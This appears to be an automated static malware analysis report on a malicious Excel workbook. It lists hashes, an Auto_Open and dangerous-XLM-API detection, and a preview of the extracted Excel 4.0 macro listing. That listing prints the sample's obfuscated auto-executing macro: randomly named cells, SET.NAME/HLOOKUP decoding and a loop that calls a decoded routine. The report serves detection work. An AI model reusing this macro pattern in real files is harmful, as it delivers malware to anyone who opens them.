Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a02fab134db07915…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:52 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 473816bbd7989a27e14539708bcc356b SHA-1: b94263561da9baaedf0050ebcd9454b427ad2b75 SHA-256: a02fab134db079153f02a5386300b2d72454f53ca3e76f07c396ee1112805a68
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6872 bytes
SHA-256: a17d109313aac513cbc5c65b4e5777e2fbe0ef4f5ec041d1dbcf8905cd4b37bd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RrnLdBJoXd
' 0018     22 LABEL : Cell Value, String Constant - alNerxo len=0 
' 0018     24 LABEL : Cell Value, String Constant - AQjgvyhSH len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D159 
' 0018     26 LABEL : Cell Value, String Constant - bpmdYuLxovx len=0 
' 0018     22 LABEL : Cell Value, String Constant - cweklgC len=0 
' 0018     21 LABEL : Cell Value, String Constant - EjkBLH len=0 
' 0018     24 LABEL : Cell Value, String Constant - eYeLhTgom len=0 
' 0018     21 LABEL : Cell Value, String Constant - FyQPZc len=0 
' 0018     24 LABEL : Cell Value, String Constant - GBzWxjSYa len=0 
' 0018     24 LABEL : Cell Value, String Constant - hlMSiyuhq len=0 
' 0018     21 LABEL : Cell Value, String Constant - hYCzUH len=0 
' 0018     20 LABEL : Cell Value, String Constant - jiwTj len=0 
' 0018     23 LABEL : Cell Value, String Constant - lnXiFvao len=0 
' 0018     23 LABEL : Cell Value, String Constant - lyAHDOjJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - NVUOLpgJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - OcdrFTJtgUD len=0 
' 0018     24 LABEL : Cell Value, String Constant - QAFUiJInS len=0 
' 0018     24 LABEL : Cell Value, String Constant - SsJAZFWQa len=0 
' 0018     23 LABEL : Cell Value, String Constant - tbCWLXHi len=0 
' 0018     26 LABEL : Cell Value, String Constant - vUUcubwjkdC len=0 
' 0018     24 LABEL : Cell Value, String Constant - XnWGKNgpD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RrnLdBJoXd,R60,"",-248.00000000000000000000
'  RrnLdBJoXd,R61,"",337.00000000000000000000
'  RrnLdBJoXd,R62,"",358.00000000000000000000
'  RrnLdBJoXd,R63,"",-813.00000000000000000000
'  RrnLdBJoXd,R64,"",-498.00000000000000000000
'  RrnLdBJoXd,R65,"",982.00000000000000000000
'  RrnLdBJoXd,D71,"SET.NAME("NVUOLpgJ",0+VALUE("0"))",""
'  RrnLdBJoXd,D75,"SET.NAME("OcdrFTJtgUD",NVUOLpgJ)",""
'  RrnLdBJoXd,D78,"SET.NAME("jiwTj",NVUOLpgJ)",""
'  RrnLdBJoXd,D81,"SET.NAME("EjkBLH",COUNTA(alNerxo))",""
'  RrnLdBJoXd,D85,"SET.NAME("XnWGKNgpD",COUNTA(SsJAZFWQa))",""
'  RrnLdBJoXd,D87,[],""
'  RrnLdBJoXd,D89,"SET.NAME("AQjgvyhSH","")",""
'  RrnLdBJoXd,D94,"OcdrFTJtgUD",""
'  RrnLdBJoXd,D97,"SET.NAME("hYCzUH",HLOOKUP("*",alNerxo,OcdrFTJtgUD,FALSE))",""
'  RrnLdBJoXd,D99,"lyAHDOjJ",""
'  RrnLdBJoXd,D103,"SET.NAME("cweklgC",NVUOLpgJ)",""
'  RrnLdBJoXd,D108,[],""
'  RrnLdBJoXd,D112,"cweklgC",""
'  RrnLdBJoXd,D115,"vUUcubwjkdC",""
'  RrnLdBJoXd,D119,"bpmdYuLxovx",""
'  RrnLdBJoXd,D124,"tbCWLXHi",""
'  RrnLdBJoXd,D126,"SET.NAME("QAFUiJInS",VALUE(HLOOKUP("*",SsJAZFWQa,tbCWLXHi,FALSE)))",""
'  RrnLdBJoXd,D129,"eYeLhTgom",""
'  RrnLdBJoXd,D131,"AQjgvyhSH",""
'  RrnLdBJoXd,D133,"jiwTj",""
'  RrnLdBJoXd,D138,NEXT(),""
'  RrnLdBJoXd,D140,"GBzWxjSYa",""
'  RrnLdBJoXd,D144,[],""
'  RrnLdBJoXd,D148,"FyQPZc",""
'  RrnLdBJoXd,D152,NEXT(),""
'  RrnLdBJoXd,D154,RETURN(),""
'  RrnLdBJoXd,D185,"SET.NAME("hlMSiyuhq",D71)",""
'  RrnLdBJoXd,D190,"alNerxo",""
'  RrnLdBJoXd,D193,"SET.NAME("SsJAZFWQa",R82C15)",""
'  RrnLdBJoXd,D198,"SET.NAME("FyQPZc",207)",""
'  RrnLdBJoXd,D201,"SET.NAME("lnXiFvao",4)",""
'  RrnLdBJoXd,D206,hlMSiyuhq(),""
'  RrnLdBJoXd,D207,HALT(),""

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